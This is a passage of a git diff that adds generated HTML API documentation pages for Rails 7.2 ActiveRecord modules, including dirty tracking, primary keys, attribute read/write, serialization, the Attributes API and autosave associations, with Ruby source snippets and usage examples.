+ + has_changes_to_save?() + +

+ + +
+

Will the next call to save have any changes to persist?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 169
+      def has_changes_to_save?
+        mutations_from_database.any_changes?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reload(*) + +

+ + +
+

reload the record and clears changed attributes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 63
+      def reload(*)
+        super.tap do
+          @mutations_before_last_save = nil
+          @mutations_from_database = nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + saved_change_to_attribute(attr_name) + +

+ + +
+

Returns the change to an attribute during the last save. If the attribute was changed, the result will be an array containing the original value and the saved value.

+ +

This method is useful in after callbacks, to see the change in an attribute during the save that triggered the callbacks to run. It can be invoked as saved_change_to_name instead of saved_change_to_attribute("name").

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 98
+      def saved_change_to_attribute(attr_name)
+        mutations_before_last_save.change_to_attribute(attr_name.to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + saved_change_to_attribute?(attr_name, **options) + +

+ + +
+

Did this attribute change when we last saved?

+ +

This method is useful in after callbacks to determine if an attribute was changed during the save that triggered the callbacks to run. It can be invoked as saved_change_to_name? instead of saved_change_to_attribute?("name").

+ +

Options

+
from +
+

When specified, this method will return false unless the original value is equal to the given value.

+
to +
+

When specified, this method will return false unless the value will be changed to the given value.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 86
+      def saved_change_to_attribute?(attr_name, **options)
+        mutations_before_last_save.changed?(attr_name.to_s, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + saved_changes() + +

+ + +
+

Returns a hash containing all the changes that were just saved.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 118
+      def saved_changes
+        mutations_before_last_save.changes
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + saved_changes?() + +

+ + +
+

Did the last call to save have any changes to change?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 113
+      def saved_changes?
+        mutations_before_last_save.any_changes?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + will_save_change_to_attribute?(attr_name, **options) + +

+ + +
+

Will this attribute change the next time we save?

+ +

This method is useful in validations and before callbacks to determine if the next call to save will change a particular attribute. It can be invoked as will_save_change_to_name? instead of will_save_change_to_attribute?("name").

+ +

Options

+
from +
+

When specified, this method will return false unless the original value is equal to the given value.

+
to +
+

When specified, this method will return false unless the value will be changed to the given value.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/dirty.rb, line 138
+      def will_save_change_to_attribute?(attr_name, **options)
+        mutations_from_database.changed?(attr_name.to_s, **options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/PrimaryKey.html b/src/7.2/classes/ActiveRecord/AttributeMethods/PrimaryKey.html new file mode 100644 index 0000000000..dbc546af1a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/PrimaryKey.html @@ -0,0 +1,355 @@ +--- +title: ActiveRecord::AttributeMethods::PrimaryKey +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods Primary Key

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + id() + +

+ + +
+

Returns the primary key column’s value. If the primary key is composite, returns an array of the primary key column values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 20
+      def id
+        _read_attribute(@primary_key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + id=(value) + +

+ + +
+

Sets the primary key column’s value. If the primary key is composite, raises TypeError when the set value not enumerable.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 30
+      def id=(value)
+        _write_attribute(@primary_key, value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + id?() + +

+ + +
+

Queries the primary key column’s value. If the primary key is composite, all primary key column values must be queryable.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 36
+      def id?
+        _query_attribute(@primary_key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + id_before_type_cast() + +

+ + +
+

Returns the primary key column’s value before type cast. If the primary key is composite, returns an array of primary key column values before type cast.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 42
+      def id_before_type_cast
+        attribute_before_type_cast(@primary_key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + id_in_database() + +

+ + +
+

Returns the primary key column’s value from the database. If the primary key is composite, returns an array of primary key column values from database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 54
+      def id_in_database
+        attribute_in_database(@primary_key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + id_was() + +

+ + +
+

Returns the primary key column’s previous value. If the primary key is composite, returns an array of primary key column previous values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 48
+      def id_was
+        attribute_was(@primary_key)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_key() + +

+ + +
+

Returns this record’s primary key value wrapped in an array if one is available.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 13
+      def to_key
+        key = id
+        Array(key) if key
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/PrimaryKey/ClassMethods.html b/src/7.2/classes/ActiveRecord/AttributeMethods/PrimaryKey/ClassMethods.html new file mode 100644 index 0000000000..9bcd937d9c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/PrimaryKey/ClassMethods.html @@ -0,0 +1,302 @@ +--- +title: ActiveRecord::AttributeMethods::PrimaryKey::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
ID_ATTRIBUTE_METHODS=%w(id id= id? id_before_type_cast id_was id_in_database id_for_database).to_set
PRIMARY_KEY_NOT_SET=BasicObject.new
+ + + + + + + +

Instance Public methods

+ +
+

+ + dangerous_attribute_method?(method_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 75
+          def dangerous_attribute_method?(method_name)
+            super && !ID_ATTRIBUTE_METHODS.include?(method_name)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance_method_already_implemented?(method_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 71
+          def instance_method_already_implemented?(method_name)
+            super || primary_key && ID_ATTRIBUTE_METHODS.include?(method_name)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_key() + +

+ + +
+

Defines the primary key field – can be overridden in subclasses. Overwriting will negate any effect of the primary_key_prefix_type setting, though.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 82
+          def primary_key
+            reset_primary_key if PRIMARY_KEY_NOT_SET.equal?(@primary_key)
+            @primary_key
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + primary_key=(value) + +

+ + +
+

Sets the name of the primary key column.

+ +
class Project < ActiveRecord::Base
+  self.primary_key = 'sysid'
+end
+
+ +

You can also define the primary_key method yourself:

+ +
class Project < ActiveRecord::Base
+  def self.primary_key
+    'foo_' + super
+  end
+end
+
+Project.primary_key # => "foo_id"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 133
+          def primary_key=(value)
+            @primary_key = if value.is_a?(Array)
+              @composite_primary_key = true
+              include CompositePrimaryKey
+              @primary_key = value.map { |v| -v.to_s }.freeze
+            elsif value
+              -value.to_s
+            end
+            @quoted_primary_key = nil
+            @attributes_builder = nil
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quoted_primary_key() + +

+ + +
+

Returns a quoted version of the primary key name, used to construct SQL statements.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/primary_key.rb, line 94
+          def quoted_primary_key
+            @quoted_primary_key ||= adapter_class.quote_column_name(primary_key)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/Query.html b/src/7.2/classes/ActiveRecord/AttributeMethods/Query.html new file mode 100644 index 0000000000..196f11ef8f --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/Query.html @@ -0,0 +1,113 @@ +--- +title: ActiveRecord::AttributeMethods::Query +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods Query

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + query_attribute(attr_name) + +

+ + +
+ +
+ + + +
+ Also aliased as: attribute? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/query.rb, line 13
+      def query_attribute(attr_name)
+        value = self.public_send(attr_name)
+
+        query_cast_attribute(attr_name, value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/Read.html b/src/7.2/classes/ActiveRecord/AttributeMethods/Read.html new file mode 100644 index 0000000000..2d26187e4a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/Read.html @@ -0,0 +1,110 @@ +--- +title: ActiveRecord::AttributeMethods::Read +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods Read

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + read_attribute(attr_name, &block) + +

+ + +
+

Returns the value of the attribute identified by attr_name after it has been type cast. For example, a date attribute will cast β€œ2004-12-12” to Date.new(2004, 12, 12). (For information about specific type casting behavior, see the types under ActiveModel::Type.)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/read.rb, line 29
+      def read_attribute(attr_name, &block)
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        @attributes.fetch_value(name, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization.html b/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization.html new file mode 100644 index 0000000000..dd45e3d4ea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization.html @@ -0,0 +1,80 @@ +--- +title: ActiveRecord::AttributeMethods::Serialization +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods Serialization

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html b/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html new file mode 100644 index 0000000000..8120f5a626 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html @@ -0,0 +1,268 @@ +--- +title: ActiveRecord::AttributeMethods::Serialization::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + serialize(attr_name, coder: nil, type: Object, yaml: {}, **options) + +

+ + +
+

If you have an attribute that needs to be saved to the database as a serialized object, and retrieved by deserializing into the same object, then specify the name of that attribute using this method and serialization will be handled automatically.

+ +

The serialization format may be YAML, JSON, or any custom format using a custom coder class.

+ +

Keep in mind that database adapters handle certain serialization tasks for you. For instance: json and jsonb types in PostgreSQL will be converted between JSON object/array syntax and Ruby Hash or Array objects transparently. There is no need to use serialize in this case.

+ +

For more complex cases, such as conversion to or from your application domain objects, consider using the ActiveRecord::Attributes API.

+ +

Parameters

+
  • +

    attr_name - The name of the attribute to serialize.

    +
  • +

    coder The serializer implementation to use, e.g. JSON.

    +
    • +

      The attribute value will be serialized using the coder’s dump(value) method, and will be deserialized using the coder’s load(string) method. The dump method may return nil to serialize the value as NULL.

      +
    +
  • +

    type - Optional. What the type of the serialized object should be.

    +
    • +

      Attempting to serialize another type will raise an ActiveRecord::SerializationTypeMismatch error.

      +
    • +

      If the column is NULL or starting from a new record, the default value will set to type.new

      +
    +
  • +

    yaml - Optional. Yaml specific options. The allowed config is:

    +
    • +

      :permitted_classes - Array with the permitted classes.

      +
    • +

      :unsafe_load - Unsafely load YAML blobs, allow YAML to load any class.

      +
    +
+ +

Options

+
  • +

    :default - The default value to use when no value is provided. If this option is not passed, the previous default value (if any) will be used. Otherwise, the default will be nil.

    +
+ +

Choosing a serializer

+ +

While any serialization format can be used, it is recommended to carefully evaluate the properties of a serializer before using it, as migrating to another format later on can be difficult.

+ +
Avoid accepting arbitrary types
+ +

When serializing data in a column, it is heavily recommended to make sure only expected types will be serialized. For instance some serializer like Marshal or YAML are capable of serializing almost any Ruby object.

+ +

This can lead to unexpected types being serialized, and it is important that type serialization remains backward and forward compatible as long as some database records still contain these serialized types.

+ +
class Address
+  def initialize(line, city, country)
+    @line, @city, @country = line, city, country
+  end
+end
+
+ +

In the above example, if any of the Address attributes is renamed, instances that were persisted before the change will be loaded with the old attributes. This problem is even worse when the serialized type comes from a dependency which doesn’t expect to be serialized this way and may change its internal representation without notice.

+ +

As such, it is heavily recommended to instead convert these objects into primitives of the serialization format, for example:

+ +
class Address
+  attr_reader :line, :city, :country
+
+  def self.load(payload)
+    data = YAML.safe_load(payload)
+    new(data["line"], data["city"], data["country"])
+  end
+
+  def self.dump(address)
+    YAML.safe_dump(
+      "line" => address.line,
+      "city" => address.city,
+      "country" => address.country,
+    )
+  end
+
+  def initialize(line, city, country)
+    @line, @city, @country = line, city, country
+  end
+end
+
+class User < ActiveRecord::Base
+  serialize :address, coder: Address
+end
+
+ +

This pattern allows to be more deliberate about what is serialized, and to evolve the format in a backward compatible way.

+ +
Ensure serialization stability
+ +

Some serialization methods may accept some types they don’t support by silently casting them to other types. This can cause bugs when the data is deserialized.

+ +

For instance the JSON serializer provided in the standard library will silently cast unsupported types to String:

+ +
>> JSON.parse(JSON.dump(Struct.new(:foo)))
+=> "#<Class:0x000000013090b4c0>"
+
+ +

Examples

+ +
Serialize the preferences attribute using YAML
+ +
class User < ActiveRecord::Base
+  serialize :preferences, coder: YAML
+end
+
+ +
Serialize the preferences attribute using JSON
+ +
class User < ActiveRecord::Base
+  serialize :preferences, coder: JSON
+end
+
+ +
Serialize the preferences Hash using YAML
+ +
class User < ActiveRecord::Base
+  serialize :preferences, type: Hash, coder: YAML
+end
+
+ +
Serializes preferences to YAML, permitting select classes
+ +
class User < ActiveRecord::Base
+  serialize :preferences, coder: YAML, yaml: { permitted_classes: [Symbol, Time] }
+end
+
+ +
Serialize the preferences attribute using a custom coder
+ +
class Rot13JSON
+  def self.rot13(string)
+    string.tr("a-zA-Z", "n-za-mN-ZA-M")
+  end
+
+  # Serializes an attribute value to a string that will be stored in the database.
+  def self.dump(value)
+    rot13(ActiveSupport::JSON.dump(value))
+  end
+
+  # Deserializes a string from the database to an attribute value.
+  def self.load(string)
+    ActiveSupport::JSON.load(rot13(string))
+  end
+end
+
+class User < ActiveRecord::Base
+  serialize :preferences, coder: Rot13JSON
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/serialization.rb, line 183
+        def serialize(attr_name, coder: nil, type: Object, yaml: {}, **options)
+          coder ||= default_column_serializer
+          unless coder
+            raise ArgumentError, <<~MSG.squish
+              missing keyword: :coder
+
+              If no default coder is configured, a coder must be provided to `serialize`.
+            MSG
+          end
+
+          column_serializer = build_column_serializer(attr_name, coder, type, yaml)
+
+          attribute(attr_name, **options)
+
+          decorate_attributes([attr_name]) do |attr_name, cast_type|
+            if type_incompatible_with_serialize?(cast_type, coder, type)
+              raise ColumnNotSerializableError.new(attr_name, cast_type)
+            end
+
+            cast_type = cast_type.subtype if Type::Serialized === cast_type
+            Type::Serialized.new(cast_type, column_serializer)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization/ColumnNotSerializableError.html b/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization/ColumnNotSerializableError.html new file mode 100644 index 0000000000..38b885c0dd --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/Serialization/ColumnNotSerializableError.html @@ -0,0 +1,111 @@ +--- +title: ActiveRecord::AttributeMethods::Serialization::ColumnNotSerializableError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(name, type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/serialization.rb, line 10
+        def initialize(name, type)
+          super <<~EOS
+            Column `#{name}` of type #{type.class} does not support `serialize` feature.
+            Usually it means that you are trying to use `serialize`
+            on a column that already implements serialization natively.
+          EOS
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/TimeZoneConversion.html b/src/7.2/classes/ActiveRecord/AttributeMethods/TimeZoneConversion.html new file mode 100644 index 0000000000..d79b659512 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/TimeZoneConversion.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::AttributeMethods::TimeZoneConversion +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AttributeMethods/Write.html b/src/7.2/classes/ActiveRecord/AttributeMethods/Write.html new file mode 100644 index 0000000000..9f5237aca0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AttributeMethods/Write.html @@ -0,0 +1,111 @@ +--- +title: ActiveRecord::AttributeMethods::Write +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attribute Methods Write

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + write_attribute(attr_name, value) + +

+ + +
+

Updates the attribute identified by attr_name using the specified value. The attribute value will be type cast upon being read.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attribute_methods/write.rb, line 31
+      def write_attribute(attr_name, value)
+        name = attr_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        name = @primary_key if name == "id" && @primary_key
+        @attributes.write_from_user(name, value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Attributes.html b/src/7.2/classes/ActiveRecord/Attributes.html new file mode 100644 index 0000000000..921b8659f6 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Attributes.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::Attributes +layout: default +--- +
+ +
+
+ +
+ +

See ActiveRecord::Attributes::ClassMethods for documentation

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Attributes/ClassMethods.html b/src/7.2/classes/ActiveRecord/Attributes/ClassMethods.html new file mode 100644 index 0000000000..4644f08965 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Attributes/ClassMethods.html @@ -0,0 +1,393 @@ +--- +title: ActiveRecord::Attributes::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Record Attributes

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attribute(name, cast_type = nil, **options) + + +

+ + +
+

Defines an attribute with a type on this model. It will override the type of existing attributes if needed. This allows control over how values are converted to and from SQL when assigned to a model. It also changes the behavior of values passed to ActiveRecord::Base.where. This will let you use your domain objects across much of Active Record, without having to rely on implementation details or monkey patching.

+ +

name The name of the methods to define attribute methods for, and the column which this will persist to.

+ +

cast_type A symbol such as :string or :integer, or a type object to be used for this attribute. If this parameter is not passed, the previously defined type (if any) will be used. Otherwise, the type will be ActiveModel::Type::Value. See the examples below for more information about providing custom type objects.

+ +

Options

+ +

The following options are accepted:

+ +

default The default value to use when no value is provided. If this option is not passed, the previously defined default value (if any) on the superclass or in the schema will be used. Otherwise, the default will be nil.

+ +

array (PostgreSQL only) specifies that the type should be an array (see the examples below).

+ +

range (PostgreSQL only) specifies that the type should be a range (see the examples below).

+ +

When using a symbol for cast_type, extra options are forwarded to the constructor of the type object.

+ +

Examples

+ +

The type detected by Active Record can be overridden.

+ +
# db/schema.rb
+create_table :store_listings, force: true do |t|
+  t.decimal :price_in_cents
+end
+
+# app/models/store_listing.rb
+class StoreListing < ActiveRecord::Base
+end
+
+store_listing = StoreListing.new(price_in_cents: '10.1')
+
+# before
+store_listing.price_in_cents # => BigDecimal(10.1)
+
+class StoreListing < ActiveRecord::Base
+  attribute :price_in_cents, :integer
+end
+
+# after
+store_listing.price_in_cents # => 10
+
+ +

A default can also be provided.

+ +
# db/schema.rb
+create_table :store_listings, force: true do |t|
+  t.string :my_string, default: "original default"
+end
+
+StoreListing.new.my_string # => "original default"
+
+# app/models/store_listing.rb
+class StoreListing < ActiveRecord::Base
+  attribute :my_string, :string, default: "new default"
+end
+
+StoreListing.new.my_string # => "new default"
+
+class Product < ActiveRecord::Base
+  attribute :my_default_proc, :datetime, default: -> { Time.now }
+end
+
+Product.new.my_default_proc # => 2015-05-30 11:04:48 -0600
+sleep 1
+Product.new.my_default_proc # => 2015-05-30 11:04:49 -0600
+
+ +

Attributes do not need to be backed by a database column.

+ +
# app/models/my_model.rb
+class MyModel < ActiveRecord::Base
+  attribute :my_string, :string
+  attribute :my_int_array, :integer, array: true
+  attribute :my_float_range, :float, range: true
+end
+
+model = MyModel.new(
+  my_string: "string",
+  my_int_array: ["1", "2", "3"],
+  my_float_range: "[1,3.5]",
+)
+model.attributes
+# =>
+  {
+    my_string: "string",
+    my_int_array: [1, 2, 3],
+    my_float_range: 1.0..3.5
+  }
+
+ +

Passing options to the type constructor

+ +
# app/models/my_model.rb
+class MyModel < ActiveRecord::Base
+  attribute :small_int, :integer, limit: 2
+end
+
+MyModel.create(small_int: 65537)
+# => Error: 65537 is out of range for the limit of two bytes
+
+ +

Creating Custom Types

+ +

Users may also define their own custom types, as long as they respond to the methods defined on the value type. The method deserialize or cast will be called on your type object, with raw input from the database or from your controllers. See ActiveModel::Type::Value for the expected API. It is recommended that your type objects inherit from an existing type, or from ActiveRecord::Type::Value

+ +
class PriceType < ActiveRecord::Type::Integer
+  def cast(value)
+    if !value.kind_of?(Numeric) && value.include?('$')
+      price_in_dollars = value.gsub(/\$/, '').to_f
+      super(price_in_dollars * 100)
+    else
+      super
+    end
+  end
+end
+
+# config/initializers/types.rb
+ActiveRecord::Type.register(:price, PriceType)
+
+# app/models/store_listing.rb
+class StoreListing < ActiveRecord::Base
+  attribute :price_in_cents, :price
+end
+
+store_listing = StoreListing.new(price_in_cents: '$10.00')
+store_listing.price_in_cents # => 1000
+
+ +

For more details on creating custom types, see the documentation for ActiveModel::Type::Value. For more details on registering your types to be referenced by a symbol, see ActiveRecord::Type.register. You can also pass a type object directly, in place of a symbol.

+ +

Querying

+ +

When ActiveRecord::Base.where is called, it will use the type defined by the model class to convert the value to SQL, calling serialize on your type object. For example:

+ +
class Money < Struct.new(:amount, :currency)
+end
+
+class PriceType < ActiveRecord::Type::Value
+  def initialize(currency_converter:)
+    @currency_converter = currency_converter
+  end
+
+  # value will be the result of +deserialize+ or
+  # +cast+. Assumed to be an instance of +Money+ in
+  # this case.
+  def serialize(value)
+    value_in_bitcoins = @currency_converter.convert_to_bitcoins(value)
+    value_in_bitcoins.amount
+  end
+end
+
+# config/initializers/types.rb
+ActiveRecord::Type.register(:price, PriceType)
+
+# app/models/product.rb
+class Product < ActiveRecord::Base
+  currency_converter = ConversionRatesFromTheInternet.new
+  attribute :price_in_bitcoins, :price, currency_converter: currency_converter
+end
+
+Product.where(price_in_bitcoins: Money.new(5, "USD"))
+# SELECT * FROM products WHERE price_in_bitcoins = 0.02230
+
+Product.where(price_in_bitcoins: Money.new(5, "GBP"))
+# SELECT * FROM products WHERE price_in_bitcoins = 0.03412
+
+ +

Dirty Tracking

+ +

The type of an attribute is given the opportunity to change how dirty tracking is performed. The methods changed? and changed_in_place? will be called from ActiveModel::Dirty. See the documentation for those methods in ActiveModel::Type::Value for more details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + define_attribute( name, cast_type, default: NO_DEFAULT_PROVIDED, user_provided_default: true ) + +

+ + +
+

This API only accepts type objects, and will do its work immediately instead of waiting for the schema to load. While this method is provided so it can be used by plugin authors, application code should probably use ClassMethods#attribute.

+ +

name The name of the attribute being defined. Expected to be a String.

+ +

cast_type The type object to use for this attribute.

+ +

default The default value to use when no value is provided. If this option is not passed, the previous default value (if any) will be used. Otherwise, the default will be nil. A proc can also be passed, and will be called once each time a new value is needed.

+ +

user_provided_default Whether the default value should be cast using cast or deserialize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attributes.rb, line 231
+      def define_attribute(
+        name,
+        cast_type,
+        default: NO_DEFAULT_PROVIDED,
+        user_provided_default: true
+      )
+        attribute_types[name] = cast_type
+        define_default_attribute(name, default, cast_type, from_user: user_provided_default)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + type_for_attribute(attribute_name, &block) + + +

+ + +
+

See ActiveModel::Attributes::ClassMethods#type_for_attribute.

+ +

This method will access the database and load the model’s schema if necessary.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + +

Instance Protected methods

+ +
+

+ + reload_schema_from_cache(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/attributes.rb, line 268
+        def reload_schema_from_cache(*)
+          reset_default_attributes!
+          super
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AutosaveAssociation.html b/src/7.2/classes/ActiveRecord/AutosaveAssociation.html new file mode 100644 index 0000000000..a78130317e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AutosaveAssociation.html @@ -0,0 +1,431 @@ +--- +title: ActiveRecord::AutosaveAssociation +layout: default +--- +
+ +
+
+ +
+ +

Active Record Autosave Association

+ +

AutosaveAssociation is a module that takes care of automatically saving associated records when their parent is saved. In addition to saving, it also destroys any associated records that were marked for destruction. (See mark_for_destruction and marked_for_destruction?).

+ +

Saving of the parent, its associations, and the destruction of marked associations, all happen inside a transaction. This should never leave the database in an inconsistent state.

+ +

If validations for any of the associations fail, their error messages will be applied to the parent.

+ +

Note that it also means that associations marked for destruction won’t be destroyed directly. They will however still be marked for destruction.

+ +

Note that autosave: false is not same as not declaring :autosave. When the :autosave option is not present then new association records are saved but the updated association records are not saved.

+ +

Validation

+ +

Child records are validated unless :validate is false.

+ +

Callbacks

+ +

Association with autosave option defines several callbacks on your model (around_save, before_save, after_create, after_update). Please note that callbacks are executed in the order they were defined in model. You should avoid modifying the association content before autosave callbacks are executed. Placing your callbacks after associations is usually a good practice.

+ +

One-to-one Example

+ +
class Post < ActiveRecord::Base
+  has_one :author, autosave: true
+end
+
+ +

Saving changes to the parent and its associated model can now be performed automatically and atomically:

+ +
post = Post.find(1)
+post.title       # => "The current global position of migrating ducks"
+post.author.name # => "alloy"
+
+post.title = "On the migration of ducks"
+post.author.name = "Eloy Duran"
+
+post.save
+post.reload
+post.title       # => "On the migration of ducks"
+post.author.name # => "Eloy Duran"
+
+ +

Destroying an associated model, as part of the parent’s save action, is as simple as marking it for destruction:

+ +
post.author.mark_for_destruction
+post.author.marked_for_destruction? # => true
+
+ +

Note that the model is not yet removed from the database:

+ +
id = post.author.id
+Author.find_by(id: id).nil? # => false
+
+post.save
+post.reload.author # => nil
+
+ +

Now it is removed from the database:

+ +
Author.find_by(id: id).nil? # => true
+
+ +

One-to-many Example

+ +

When :autosave is not declared new children are saved when their parent is saved:

+ +
class Post < ActiveRecord::Base
+  has_many :comments # :autosave option is not declared
+end
+
+post = Post.new(title: 'ruby rocks')
+post.comments.build(body: 'hello world')
+post.save # => saves both post and comment
+
+post = Post.create(title: 'ruby rocks')
+post.comments.build(body: 'hello world')
+post.save # => saves both post and comment
+
+post = Post.create(title: 'ruby rocks')
